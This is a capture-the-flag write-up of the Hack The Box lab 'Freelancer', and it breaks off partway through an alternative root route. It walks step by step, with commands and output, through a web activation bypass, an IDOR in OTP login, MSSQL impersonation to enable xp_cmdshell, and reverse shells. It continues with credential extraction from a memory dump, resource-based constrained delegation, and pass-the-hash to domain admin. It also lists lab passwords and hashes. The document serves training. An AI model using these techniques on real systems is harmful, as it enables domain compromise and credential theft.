Overview

The machine starts by registering an employer account and abusing a missing is_active check in the account recovery flow to bypass email activation, then exploiting an IDOR in the QR code OTP endpoint by forging a base64-encoded user ID to login as admin and access an SQL terminal where we impersonate sa via EXECUTE AS to enable xp_cmdshell and get a shell as sql_svc, reading a plaintext password from a SQL config file to pivot to mikasaAckerman and find a memory dump on the desktop, extracting cached credentials from the dump using memprocfs and secretsdump to get lorra199 whose AD Recycle Bin membership grants GenericWrite over DC$, performing RBCD to impersonate Administrator via S4U2Proxy and secretsdump the domain, alternatively restoring the deleted liza.kazanof with --newName to get SeBackupPrivilege and dump NTDS via diskshadow and robocopy to get Administrator hash and shell.

Enumeration

starting with nmap scan as usual

we got SMB, NetBios, DNS, LDAP, HTTP, Kerberos, LDAPS, Kpasswd so it looks like this is an AD environment so lets setup the environment for the next

  • there is website at freelancer.htb so we need to add that to the hosts file
  • big clock-skew 6 hours so we need to sync incase we ran into kerberos

Setup

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/freelancer]
└──╼ [★]$ echo '10.129.13.145 freelancer.htb' | sudo tee -a /etc/hosts
10.129.13.145 freelancer.htb
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/freelancer]
└──╼ [★]$ sudo ntpdate freelancer.htb
2026-06-12 22:18:58.954075 (-0700) +17999.967937 +/- 0.037450 freelancer.htb 10.129.13.145 s1 no-leap
CLOCK: time stepped by 17999.967937

trying the Null auth for SMB and Null bind for ldap both didn't work

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/freelancer]
└──╼ [★]$ nxc smb 10.129.13.145 -u 'Guest' -p '' --shares
SMB 10.129.13.145 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:freelancer.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.13.145 445 DC [-] freelancer.htb\Guest: STATUS_ACCOUNT_DISABLED
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/freelancer]
└──╼ [★]$ nxc ldap 10.129.13.145 -u '' -p ''
LDAP 10.129.13.145 389 DC [*] Windows 10 / Server 2019 Build 17763 (name:DC) (domain:freelancer.htb) (signing:None) (channel binding:No TLS cert)
LDAP 10.129.13.145 389 DC [-] Error in searchRequest -> operationsError: 000004DC: LdapErr: DSID-0C090C77, comment: In order to perform this operation a successful bind must be completed on the connection., data 0, v4563
LDAP 10.129.13.145 389 DC [+] freelancer.htb\:

There is something we can try now like timeroast maybe but it'll be a long shot let's take a look at the website instead

the website has a lot of endpoints like this login and freelancer and employer register so lets register accounts and take a look at this site's flow ss_20260612_222248.png

Employer Bypass

Created an account as employer but trying to login returns error that the account needs to activated before trying to login so maybe it is getting reviewed by admin first or something ss_20260612_222900.png

and there is what confirms the activation part ss_20260612_223041.png

One thing I noticed the two systems are connected so you can't have two accounts as employer and freelancer registered to the same email

So i Went back to fuzzing just as a last step before digging deep to the freelancer access and i get this admin endpoint

and we get that admin login page but it does return a neutral response for wrong password and anticipated usernames so we can't enumerate usernames ss_20260612_224556.png

there is also and account recovery to change the password using the security questions you setup when you were registering, one thing I'd like to try is to change the password for the employer user maybe the account will be marked active if we change the password due to an issue with the validation (maybe it filters based on the new account and if we changed the password we aren't considered a new account and we'll cover that in the beyond root after looking at the source code) ss_20260612_225257.png

and actually trying that worked and we got logged in to the employer Dashboard ss_20260612_230008.png

QR-Code

There is a lot of functionality in this website like posting, managing jobs, editing profile and uploading a picture so I went through all that and nothing worked but I found a functionality called QR-Code and I decided to ignore thinking it is just a filler or something but going back to it I read this

Use your mobile phone to scan this QR-Code to login to your account without using any type of credentials. Please note that this QR-Code is valid for 5 Minutes only.

so lets try to scan the given QR code and see what is going on

This is the QR-Code we got ss_20260612_230457.png

Using online QR-Reader shows that our QR-Code redirects to this link http://freelancer.htb/accounts/login/otp/MTAwMTQ=/cb7130d40b96e71cfb8ed53d623d0d55/ and this looks like Base64 for me so let decoded it

Trying to Decode it returns an error for invalid input because the first part only is the Base64 and the rest is a blob maybe but anyway the first part resolves to 10014 and maybe this is our ID in the system

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/freelancer]
└──╼ [★]$ echo 'MTAwMTQ=/cb7130d40b96e71cfb8ed53d623d0d55' | base64 -d
10014}FqywwwGybase64: invalid input

So i went back to the freelancer account and moved around to see the Profiles for whoever posts the Jobs and it uses IDs ss_20260612_231357.png

so to confirm my initial guess i visited this /10014 to find that it is actually my account so lets try to fuzz that with numbers till we find a high privileged account ss_20260612_231512.png

the ID 2 returns a user admin ss_20260612_231635.png

so for this to work the QR-Code should be only validating by the ID and this blob that caused an issue with the decoding should be the same for all users so what I'll do is

  • Base64 encode the ID 2 and forge the link and try to visit the forged link to see what happens

and first attempt got Invalid token but this is because the first one was only valid for 5 minutes so lets grab a new one and maybe this blob is actually a time stamp or something

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/freelancer]
└──╼ [★]$ echo '2' | base64 -w 0
Mgo=┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/freelancer]
└──╼ [★]$ curl http://freelancer.htb/accounts/login/otp/Mgo=/cb7130d40b96e71cfb8ed53d623d0d55/
Invalid or expired OTP Token

and as you can see we get logged in as admin but you need to be carful cause the QR-Code becomes invalid once it is used once so if you clicked the link by mistake and sent a request you'll have to forge a new one ss_20260612_232213.png

Admin Dashboard

and because of the info i mentioned earlier that these aren't two separate systems when i went to the admin dashboard i got logged in immediately cause our session got stored in the browser now and there is a SQL terminal there ss_20260612_182600.png

and it actually executes MSSQL queries ss_20260612_182756.png

so I used the freelancer database and started enumerating the tables ss_20260612_183010.png

and in the freelancer_customuser table we get a lot of hashes but the issue is that they are all pbkdf2_sha256$60000 meaning that they are rotated 60000 times and each time is encrypted using sha256 which is impossible to crack in the first place ss_20260612_183101.png

and I always try the NTLMv2 stealing using the xp_dirtree functionality of the MSSQL and we get the user who runs the server sql_svc

plaintext
[SMB] NTLMv2-SSP Client   : 10.129.13.145
[SMB] NTLMv2-SSP Username : FREELANCER\sql_svc
[SMB] NTLMv2-SSP Hash     : sql_svc::FREELANCER:e734c6f3b4d4bb48:7719EC3FB2E29F367E405B965E192ADF:0101000000000000004E4F4E9AFADC013C2656F4967E2E5C0000000002000800300048005000530001001E00570049004E002D0056005500330055004600550049004E004B003200560004003400570049004E002D0056005500330055004600550049004E004B00320056002E0030004800500053002E004C004F00430041004C000300140030004800500053002E004C004F00430041004C000500140030004800500053002E004C004F00430041004C0007000800004E4F4E9AFADC0106000400020000000800300030000000000000000000000000300000F8703DDBD56909ECE18E284C602269D248BCB99CA0641C151282CDBC440BE4EF0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310036002E00380033000000000000000000

even though we got the hash but the cracking attempt came back negative and we couldn't crack it so I'll move to permissions enumeration on the MSSQL

Shell as sql_svc

we see that there is a sysadmin on the database which is the sa user and this is the default but this account isn't disabled so lets see if we can impersonate it ss_20260612_184057.png

and here is all the information we need to know about our current session ss_20260612_184355.png

now when we list the Impersonation we see that the Freelancer_webapp_user can impersonate sa on the server ss_20260612_184418.png

and as you can see it worked and we are now sa so lets enable xp_cmdshell and get command execution ss_20260612_184524.png

and we could enabled the xp_cmdshell without any issues ss_20260612_184744.png

and now we got remote code execution ss_20260612_184816.png

trying to move nc to the system gets us blocked for potential virus ss_20260612_190000.png

and as you can see we got shell back you just need to use the windows version of ncat so you don't get caught by the windows defender

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/freelancer]
└──╼ [★]$ rlwrap nc -lnvp 25000
listening on [any] 25000 ...
connect to [10.10.16.83] from (UNKNOWN) [10.129.13.145] 61872
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\WINDOWS\system32> whoami
whoami
freelancer\sql_svc
PS C:\WINDOWS\system32>

so there is nothing else on the system except this SQLEXPR directory and it has some files reading one of them got 2 poterntial passwords that we can test

Shell as mikasaAckerman

trying the passwords we found against the list of users we can find under C:\Users directory got us one hit as valid authentication

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/freelancer]
└──╼ [★]$ nxc smb freelancer.htb -u usernames.txt -p 't3mp0r@ryS@PWD'
SMB 10.129.13.145 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:freelancer.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.13.145 445 DC [-] freelancer.htb\:t3mp0r@ryS@PWD STATUS_LOGON_FAILURE
SMB 10.129.13.145 445 DC [-] freelancer.htb\:t3mp0r@ryS@PWD STATUS_LOGON_FAILURE
SMB 10.129.13.145 445 DC [-] freelancer.htb\Administrator:t3mp0r@ryS@PWD STATUS_LOGON_FAILURE
SMB 10.129.13.145 445 DC [-] freelancer.htb\lkazanof:t3mp0r@ryS@PWD STATUS_LOGON_FAILURE
SMB 10.129.13.145 445 DC [-] freelancer.htb\lorra199:t3mp0r@ryS@PWD STATUS_LOGON_FAILURE
SMB 10.129.13.145 445 DC [-] freelancer.htb\mikasaAckerman:t3mp0r@ryS@PWD STATUS_LOGON_FAILURE
SMB 10.129.13.145 445 DC [-] freelancer.htb\MSSQLSERVER:t3mp0r@ryS@PWD STATUS_LOGON_FAILURE
SMB 10.129.13.145 445 DC [-] freelancer.htb\sqlbackupoperator:t3mp0r@ryS@PWD STATUS_LOGON_FAILURE
SMB 10.129.13.145 445 DC [-] freelancer.htb\sql_svc:t3mp0r@ryS@PWD STATUS_LOGON_FAILURE
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/freelancer]
└──╼ [★]$ nxc smb freelancer.htb -u usernames.txt -p 'IL0v3ErenY3ager'
SMB 10.129.13.145 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:freelancer.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.13.145 445 DC [-] freelancer.htb\:IL0v3ErenY3ager STATUS_LOGON_FAILURE
SMB 10.129.13.145 445 DC [-] freelancer.htb\:IL0v3ErenY3ager STATUS_LOGON_FAILURE
SMB 10.129.13.145 445 DC [-] freelancer.htb\Administrator:IL0v3ErenY3ager STATUS_LOGON_FAILURE
SMB 10.129.13.145 445 DC [-] freelancer.htb\lkazanof:IL0v3ErenY3ager STATUS_LOGON_FAILURE
SMB 10.129.13.145 445 DC [-] freelancer.htb\lorra199:IL0v3ErenY3ager STATUS_LOGON_FAILURE
SMB 10.129.13.145 445 DC [+] freelancer.htb\mikasaAckerman:IL0v3ErenY3ager

and we got no access to winrm and no non-standard shares so lets upload RunasCs.exe and get a shell back

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/freelancer]
└──╼ [★]$ nxc smb freelancer.htb -u mikasaAckerman -p 'IL0v3ErenY3ager'
SMB 10.129.13.145 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:freelancer.htb) (signing:True) (SMBv1:None) (Null Auth:Tr
ue)
SMB 10.129.13.145 445 DC [+] freelancer.htb\mikasaAckerman:IL0v3ErenY3ager
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/freelancer]
└──╼ [★]$ nxc winrm freelancer.htb -u mikasaAckerman -p 'IL0v3ErenY3ager'
WINRM 10.129.13.145 5985 DC [*] Windows 10 / Server 2019 Build 17763 (name:DC) (domain:freelancer.htb)
WINRM 10.129.13.145 5985 DC [-] freelancer.htb\mikasaAckerman:IL0v3ErenY3ager
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/freelancer]
└──╼ [★]$ nxc smb freelancer.htb -u mikasaAckerman -p 'IL0v3ErenY3ager' --shares
SMB 10.129.13.145 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:freelancer.htb) (signing:True) (SMBv1:None) (Null Auth:Tr
ue)
SMB 10.129.13.145 445 DC [+] freelancer.htb\mikasaAckerman:IL0v3ErenY3ager
SMB 10.129.13.145 445 DC [*] Enumerated shares
SMB 10.129.13.145 445 DC Share Permissions Remark
SMB 10.129.13.145 445 DC ----- ----------- ------
SMB 10.129.13.145 445 DC ADMIN$ Remote Admin
SMB 10.129.13.145 445 DC C$ Default share
SMB 10.129.13.145 445 DC IPC$ READ Remote IPC
SMB 10.129.13.145 445 DC NETLOGON READ Logon server share
SMB 10.129.13.145 445 DC SYSVOL READ Logon server share

Running this as sql_svc

bash
PS C:\Users\sql_svc\Downloads\SQLEXPR-2019_x64_ENU> ./runas.exe mikasaAckerman IL0v3ErenY3ager powershell.exe -r 10.10.16.83:4444
./runas.exe mikasaAckerman IL0v3ErenY3ager powershell.exe -r 10.10.16.83:4444

[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-4b35f$\Default
[+] Async process 'C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe' with pid 1000 created in background.

got us a shell back as the user we wanted

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/freelancer]
└──╼ [★]$ rlwrap nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.16.83] from (UNKNOWN) [10.129.13.145] 53347
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\WINDOWS\system32> whoami
whoami
freelancer\mikasaackerman
PS C:\WINDOWS\system32>

and we got the user flag

plaintext
PS C:\Users\mikasaackerman\Desktop> type user.txt
type user.txt
d86a3a18355ae3b664c1baa21f0af8c9

Privilege Escalation

and we got also this mail.txt on the users desktop saying that there is an issue with the server after the update and looks like one of the IT asked for full memory dump and they did it for her and there is also the MEMORY.7z file attached on the desktop

plaintext

PS C:\Users\mikasaackerman\Desktop> type mail.txt
type mail.txt
Hello Mikasa,
I tried once again to work with Liza Kazanoff after seeking her help to troubleshoot the BSOD issue on the "DATACENTER-2019" computer. As you know, the problem started occu
rring after we installed the new update of SQL Server 2019.
I attempted the solutions you provided in your last email, but unfortunately, there was no improvement. Whenever we try to establish a remote SQL connection to the installed instance, the server's CPU starts overheating, and the RAM usage keeps increasing until the BSOD appears, forcing the server to restart.
Nevertheless, Liza has requested me to generate a full memory dump on the Datacenter and send it to you for further assistance in troubleshooting the issue.
Best regards,

looking at this it has a single file only inside it which is .DMP file usually a vss copy so lets try to dump anything out of it

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/freelancer]
└──╼ [★]$ 7z l MEMORY.7z

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=C.UTF-8,Utf16=on,HugeFiles=on,64 bits,128 CPUs Intel(R) Core(TM) i7-6700HQ CPU @ 2.60GHz (506E3),ASM,AES-NI)

Scanning the drive for archives:
1 file, 292692678 bytes (280 MiB)

Listing archive: MEMORY.7z

--
Path = MEMORY.7z
Type = 7z
Physical Size = 292692678
Headers Size = 130
Method = LZMA2:26
Solid = -
Blocks = 1

   Date Time Attr Size Compressed Name
------------------- ----- ------------ ------------ ------------------------
2023-10-08 00:38:34 ....A   1782252040    292692548  MEMORY.DMP
------------------- ----- ------------ ------------ ------------------------
2023-10-08 00:38:34         1782252040    292692548  1 files

the dump file isn't just a hash dump but a full memory dump so we need to deal with it using tool like volatility to extract as much as we can out of it

Memory Dump

and this one lists the Windows server and its exact build so lets dump hashes

so to do that we need first to dump the processes to get the lsass PID to dump the process memory and we got the lsass.exe is running 584

and after running for a while (hope there is a way to make it just stfu without all that verbosity) but we got a memory dump Tried a lot of ways with volatility but nothing worked, tried dump files, and raw memory and nothing worked so lets go the intended path memprocfs

and we'll give it the device to start dumping into the mount file

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/freelancer/memproc]
└──╼ [★]$ ./memprocfs -device ../MEMORY.DMP -mount /tmp/memfs
Initialized 64-bit Windows 10.0.17763

==============================  MemProcFS  ==============================
 - Author: Ulf Frisk - pcileech@frizk.net
 - Info: https://github.com/ufrisk/MemProcFS
 - Discord: https://pcileech.com/discord
 - License: GNU Affero General Public License v3.0
 - Licensed To: GNU Affero General Public License v3.0 - OPEN SOURCE USER.
   ---------------------------------------------------------------------
 - Version: 5.17.8 (Linux)
 - Mount Point: /tmp/memfs
 - Tag: 17763_a3431de6
 - Operating System: Windows 10.0.17763 (X64)
==========================================================================

looking at the hives after it is done we find that it dumped the 3 hives we need to dump hashes with secrets dump locally

plaintext
┌─[]─[10.10.16.83]─[jimmex@attacker]─[/tmp/memfs/registry/hive_files]
└──╼ [★]$ ls
0xffffd30679c0e000-unknown-unknown.reghive                                              0xffffd3067db43000-BBI-A_{ae450ff4-3002-4d4d-921c-fd354d63ec8b}.reghive
0xffffd30679c46000-SYSTEM-MACHINE_SYSTEM.reghive                                        0xffffd3067db53000-NTUSERDAT-USER_S-1-5-19.reghive
0xffffd30679cdc000-unknown-MACHINE_HARDWARE.reghive                                     0xffffd3067dd5e000-ActivationStoredat-A_{D65833F6-A688-4A68-A28F-F59183BDFADA}.reghive
0xffffd3067b257000-settingsdat-A_{c94cb844-4804-8507-e708-439a8873b610}.reghive         0xffffd3067e30e000-UsrClassdat-USER_S-1-5-21-3542429192-2036945976-3483670807-1121_Classes.reghive
0xffffd3067b261000-ActivationStoredat-A_{23F7AFEB-1A41-4BD7-9168-EA663F1D9A7D}.reghive  0xffffd3067ec26000-Amcachehve-A_{da3518a3-bbc6-1dba-206b-2755382f1364}.reghive
0xffffd3067b514000-BCD-MACHINE_BCD00000000.reghive                                      0xffffd3067ec39000-ntuserdat-USER_S-1-5-21-3542429192-2036945976-3483670807-1121.reghive
0xffffd3067b516000-SOFTWARE-MACHINE_SOFTWARE.reghive                                    0xffffd3067ec58000-settingsdat-A_{8a28242f-95cc-f96a-239c-d8a872afe4cc}.reghive
0xffffd3067d7e9000-DEFAULT-USER_.DEFAULT.reghive                                        0xffffd3067f097000-DRIVERS-MACHINE_DRIVERS.reghive
0xffffd3067d7f0000-SECURITY-MACHINE_SECURITY.reghive                                    0xffffd3067f91b000-UsrClassdat-USER_S-1-5-21-3542429192-2036945976-3483670807-500_Classes.reghive
0xffffd3067d935000-SAM-MACHINE_SAM.reghive                                              0xffffd3067f9e7000-ntuserdat-USER_S-1-5-21-3542429192-2036945976-3483670807-500.reghive
0xffffd3067d9c4000-NTUSERDAT-USER_S-1-5-20.reghive

Shell as lorra199

and it dumped multiple hashes but there is a this credential PWN3D#l0rr@Armessa199 which is clearly for the user lorra199 so lets test it

and this user got shell but there is no special privileges or files he can access, and I got so mixed up with this memory dump to the point that i forgot do collect data for bloodhound so lets do it now

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/freelancer]
└──╼ [★]$ nxc winrm freelancer.htb -u lorra199 -p PWN3D#l0rr@Armessa199
WINRM 10.129.13.145 5985 DC [*] Windows 10 / Server 2019 Build 17763 (name:DC) (domain:freelancer.htb)
WINRM 10.129.13.145 5985 DC [+] freelancer.htb\lorra199:PWN3D#l0rr@Armessa199 (Pwn3d!)
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/freelancer]
└──╼ [★]$ evil-winrm -i freelancer.htb -u lorra199 -p PWN3D#l0rr@Armessa199

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\lorra199\Documents> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
*Evil-WinRM* PS C:\Users\lorra199\Documents>

and we got the data so let's take a look at it

RBCD

Looking at this user it is part of the AD RECYCLE Bin group which grants it a lot of permissions literally all over the domain and one of these is the GenericWrite over the DC machine so lets RBCD the DC machine

so first add a computer account

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/freelancer]
└──╼ [★]$ addcomputer.py freelancer.htb/lorra199:PWN3D#l0rr@Armessa199 -computer-name 'FAKE$' -computer-pass 'Password123!'
Impacket v0.14.0.dev0+20260407.172353.7fc084ad - Copyright Fortra, LLC and its affiliated companies

[*] Successfully added machine account FAKE$ with password Password123!.

then add the delegation to the Fake Computer

bash
 ┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/freelancer]
└──╼ [★]$ python3 .venv/lib/python3.13/site-packages/impacket/examples/rbcd.py -delegate-from 'FAKE$' -delegate-to 'DC$' -action write freelancer.htb/lorra199:PWN3D#l0rr@Armessa199
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies

[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] FAKE$ can now impersonate users on DC$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*]     FAKE$        (S-1-5-21-3542429192-2036945976-3483670807-12101)

then get a ticket for the administrator

bash
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/freelancer]
└──╼ [★]$ getST.py -spn 'cifs/DC.freelancer.htb' -impersonate Administrator freelancer.htb/'FAKE$':'Password123!'
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_DC.freelancer.htb@FREELANCER.HTB.ccache

export the ticket and start dumping

then we can use administrator hash for a shell, just make sure to use the administrator domain hash not the local one

shell
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/freelancer]
└──╼ [★]$ evil-winrm -i DC.freelancer.htb -u administrator -H 0039318f1e8274633445bce32ad1a290

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> type ../Desktop/root.txt
d3a386bb7730b5a2fe20e85d2b924b4f

Beyond root

lets take a look at some things

Password Change Functionality

looking at the source code afterwards

python
def account_recovery(request):
    if request.method == 'POST':
        if not "username" in request.POST:
            return HttpResponseBadRequest('WARNING: Malicious behavior has been detected!')
        # check if form is valid and user exists in the database
        user = CustomUser.objects.filter(username=request.POST['username'])
        if user.exists():
            # transfer from QuerySet to CustomUser object
            user = user.get()
            # Create a separate instance of the CustomUser object for checking the security question answers because we can not use the
            # "user" variable while there is `user.save()`
            user_for_checking = CustomUser.objects.get(pk=user.pk)

            form = SecurityQuestionsForm(request.POST, instance=user_for_checking)
            if form.is_valid():
                if user_for_checking.check_security_answers(form.cleaned_data['security_q1'], form.cleaned_data['security_q2'], form.cleaned_data['security_q3']):
                    # User's security question answers are correct
                    # re-activate user account
                    user.is_active = True
                    user.save()
                    # generate a uid and password reset token to allow the user to change his password
            

and look at that line user.is_active sets it to True, maybe this is to re-activate the account if it was deactivated due to security issue like multiple wrong password attempt but in this case it just sets it always to true without a check

Another way to root

I missed somethings in this writeup and wanted to see how to creator connected some dots in his writeup so I read it after the machine and i found out he took a different route after the user lorra199

he restored a deleted object called Liza Kazanof, reset this account password cause we got access to do it as lorra199 then login to find we got a backup privileges where we can dump hashes using any available method so lets take that path fast

the user got all these outbound objects Pasted image 20260615214947.png

Restore Deleted User

so look at this, there is a path from the user lorra199 to the user lkazanof Pasted image 20260615215323.png but when using bloodyAD to list all writable objects

shell
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/freelancer]
└──╼ [★]$ bloodyAD --host 10.129.16.101 -d freelancer.htb -u 'lorra199' -p 'PWN3D#l0rr@Armessa199' get writable | grep lkazan

we get nothing for this Liza so lets make sure it is deleted from Lorra's shell

and as you can see it is deleted object there is multiple ways to restore it but i need to try the bloodyAD one cause i already used the Windows method a lot

and this returned an error pointing that it already exists somehow, so I went back to the winrm shell to query the deleted objects again

shel
*Evil-WinRM* PS C:\Users\lorra199\Documents> get-adobject -filter 'isdeleted -eq $true' -includedeletedobjects


Deleted           : True
DistinguishedName : CN=Deleted Objects,DC=freelancer,DC=htb
Name              : Deleted Objects
ObjectClass       : container
ObjectGUID        : bb081f2b-bd0a-4fc7-b3e9-50e107e961ee

and I got that there is no deleted objects at all except the container itself

so lets get the hash for this user out of the dump and try to winrm in

shell
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/freelancer]
└──╼ [★]$ cat kazanof.hash
$DCC2$10240#liza.kazanof#ecd6e532224ccad2abcf2369ccb8b679
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/freelancer]
└──╼ [★]$ hashcat -a 0 -m 2100 kazanof.hash /usr/share/wordlists/rockyou.txt --quiet
$DCC2$10240#liza.kazanof#ecd6e532224ccad2abcf2369ccb8b679:RockYou!

now we got its password and it is supposed to be restored

shell
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/freelancer]
└──╼ [★]$ nxc smb freelancer.htb -u liza.kazanof -p 'RockYou!'
SMB 10.129.16.175 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:freelancer.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.16.175 445 DC [-] freelancer.htb\liza.kazanof:RockYou! STATUS_LOGON_FAILURE

but trying to login

shell
*Evil-WinRM* PS C:\Users\lorra199\Documents> Get-ADUser -filter 'SAMAccountName -eq "liza.kazanof"'
*Evil-WinRM* PS C:\Users\lorra199\Documents> Get-ADObject -Filter 'isDeleted -eq $true' -IncludeDeletedObjects


Deleted : True
DistinguishedName : CN=Deleted Objects,DC=freelancer,DC=htb
Name : Deleted Objects
ObjectClass : container
ObjectGUID : bb081f2b-bd0a-4fc7-b3e9-50e107e961ee

it doesn't appear to be a user yet and it is gone from the deleted objects so probably bloodhound fucked up something searching this error by bloodyAD

plaintext
 An attempt was made to add an object to the directory with a name that is already in use

shows that this because it tries to restore the object but there is an object with that name already, which makes sense cause the secrets dump got us this

shell
freelancer.htb\lkazanof:aes256-cts-hmac-sha1-96:4ba98049d411ea7293b5924a25c10ae2a3c18f045aa22fb7c828d888820fd719
freelancer.htb\lkazanof:aes128-cts-hmac-sha1-96:b8fd8c1c1d3dde5c21cf3f482989a718
freelancer.htb\lkazanof:des-cbc-md5:57f2d5b515020d70

so maybe they deleted the user liza.kazanof and created a new one with a different user name but the object name itself is the same or same DN so trying to restore the old one causes issue, and here is the prove actually

shell
*Evil-WinRM* PS C:\Users\lorra199\Documents> get-aduser -filter 'SamAccountName -eq "lkazanof"'
DistinguishedName : CN=Liza Kazanof,CN=Users,DC=freelancer,DC=htb
Enabled : True
GivenName : Liza
Name : Liza Kazanof
ObjectClass : user
ObjectGUID : 501442ec-1e03-4451-949b-4770f98b7f52
SamAccountName : lkazanof
SID : S-1-5-21-3542429192-2036945976-3483670807-1162
Surname : Kazanof
UserPrincipalName : lkazanof@freelancer.htb

so i will reset the machine and try the option --newName from bloodhound to give it a new name

now we are back at the initial state

shell
*Evil-WinRM* PS C:\Users\lorra199\Documents> get-adobject -filter 'isdeleted -eq $true' -includedeletedobjects | Select-String liza

CN=Liza Kazanof\0ADEL:ebe15df5-e265-45ec-b7fc-359877217138,CN=Deleted Objects,DC=freelancer,DC=htb

one thing i wanna confirm is if restored this using the AD module will it also cause an issue or not (maybe try to figure out what happened) trying to restore it with AD module get us the same error but does it break something ?

shell
*Evil-WinRM* PS C:\Users\lorra199\Documents> restore-adobject -identity ebe15df5-e265-45ec-b7fc-359877217138
An attempt was made to add an object to the directory with a name that is already in use
At line:1 char:1
+ restore-adobject -identity ebe15df5-e265-45ec-b7fc-359877217138
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidOperation: (CN=Liza Kazanof...eelancer,DC=htb:ADObject) [Restore-ADObject], ADException
    + FullyQualifiedErrorId : 0,Microsoft.ActiveDirectory.Management.Commands.RestoreADObject

*Evil-WinRM* PS C:\Users\lorra199\Documents> get-adobject -filter 'isdeleted -eq $true' -includedeletedobjects | Select-String liza
CN=Liza Kazanof\0ADEL:ebe15df5-e265-45ec-b7fc-359877217138,CN=Deleted Objects,DC=freelancer,DC=htb

but it didn't break it, so my initial thought, that bloodyAD actually tried to restore it but when it existed it maybe restored it after some other name or tried to force something that restored it in with a different parent maybe, I don't know but i might look at by bloodyAD code later

now lets restore it again but give it a new name

plaintext
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/freelancer]
└──╼ [★]$ bloodyAD --host 10.129.16.184 -d freelancer.htb -u 'lorra199' -p 'PWN3D#l0rr@Armessa199' set restore 'CN=Liza Kazanof\0ADEL:ebe15df5-e265-45ec-b7fc-359877217138,CN=Deleted Objects,DC=freelancer,DC=htb' --newName 'new.liza.kazanof'
[+] CN=Liza Kazanof\0ADEL:ebe15df5-e265-45ec-b7fc-359877217138,CN=Deleted Objects,DC=freelancer,DC=htb has been restored successfully under CN=new.liza.kazanof,CN=Users,DC=freelancer,DC=htb

now trying to login

shell
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/freelancer]
└──╼ [★]$ nxc smb freelancer.htb -u liza.kazanof -p 'RockYou!'
SMB 10.129.16.184 445 DC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC) (domain:freelancer.htb) (signing:True) (SMBv1:None) (Null Auth:True)
